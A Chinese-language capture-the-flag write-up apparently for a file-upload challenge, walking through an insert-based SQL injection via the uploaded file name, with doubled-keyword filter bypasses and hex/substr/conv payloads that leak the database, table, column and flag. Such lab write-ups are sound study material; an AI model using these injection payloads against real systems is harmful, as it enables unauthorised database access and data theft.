一.看到题目的描述应该和文件上传漏洞有关
1.进入实验环境,先随便注册一个账号,然后登录
2.随便选个文件上传试一试,就上传个木马图片吧
上传后显示了如下提示信息后就302跳转了,根据返回的uid以为是告诉我们上传后的文件名,我尝试访问一下我之前上传的图片
,试了半天访问不到,而且这里对php文件做了上传限制,于是找找其他思路。
这里是上传操作,肯定和数据库的insert打交道,猜测语句为 insert into tablename('filename',...) values ('上传的文件名',,,,);
那就试试能不能通过上传的文件名进行:
基于insert的注入,首先试一试 xx' or updatexml(0,concat(0x7e,(select database())),0) or '.jpg ,结果注入被检测到了。
经过测试 select 和 updatexml 会被检测到,并提示我们的sql注入被发现了,而且 from 也被过滤了。
我们发现用 xx' or extractvalue(0,concat(0x7e,(select database()))) or '.jpg , 并不会被过滤,但是这里
在页面上不会有任何的显示,因为这种是基于函数报错的注入,后端可能把报错信息给屏蔽的,不显示在前端。(我个人猜测)
所以,经过上面的测试,我们不能通过这些常规的sql注入的方法去获取信息,即我们又要换思路了~~。
3.我们看看能不能用 mysql 中的 + 号运算符进行拼接sql语句。
首先我们来了解一下 + 号运算符,
经过测试我们可以发现 + 号如果连接sql语句时,他会先执行sql语句,再将得到的结果与 第一个加数进行 加运算。
这里如果遇到字符,则只会截取前面数字的部分进行加运算,所以我们用+号拼接sql语句时,一定要确保执行的结果要为数字。
4.根据上面的经验,我们现在可以开始验证一下我们的思路:
由前面我们知道select会被过滤,这里可以通过双写进行绕过: '+(selselectect database())+'.jpg
为了方便我们操作这里我们可以用Burp改包发送:
然后在前端的页面上我们可以发现返回一个 0,这符合我们的预期,因为我们 select database(),查询出来的是字符串,字符串再和空字符相加,结果返回0.
那这里我们就要将我们要执行的sql语句的结果转成数字,再显示在前端,将前端显示的数字去转换成字符串即可:
那我们先了解一下 substr 和 hex 这两个函数:
hex() :
1).HEX(number),如果number不是整数,则在进行运算前将其四舍五入为最接近的整数,然后返回该数的十六进制数值表示形式;
2).如果number是一个字符串,则返回number的十六进制字符串表示形式,其中number里的每个字符被转化为两个十六进制数字:
3)..如果number是NULL,将返回NULL值
substr():
substr(str,pos,len);//str:字符串,pos:起始位置,len:截断长度,mysql中这里的起始位置是1.
如果不指定长度,那就默认截断剩余部分。
conv(NUM, from_base, to_case):
了解完这些函数后,我们开干!
构造 : '+(selecselectt substr(hex(dAtabase()),1,12))+'.jpg ,发现显示 7795625,有可能遇到字符被截断了。
因此我们又要用 conv() 函数将其转成十进制输出,避免字符。
'+(selecselectt conv(substr(hex(dAtabase()),1,12),16,10))+'.jpg
'+(selecselectt conv(substr(hex(dAtabase()),13,12),16,10))+'.jpg
我们将我们获得的十进制数进行拼接,然后转成十六进制的形式,最后转成文字即可。
131277325825392 转换为16进制为 7765625f7570 转换为文字为 web_up,
1819238756 转换为16禁止为 6c6f6164 转换为文字为 load
注入表名: '+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg # 得到表名 hello_flag_is_here
注入字段: '+(seleselectct+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg # 得到字段 i_am_flag
获取数据: '+(seleselectct+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
#得到Flag: !!_@m_Th.e_F!lag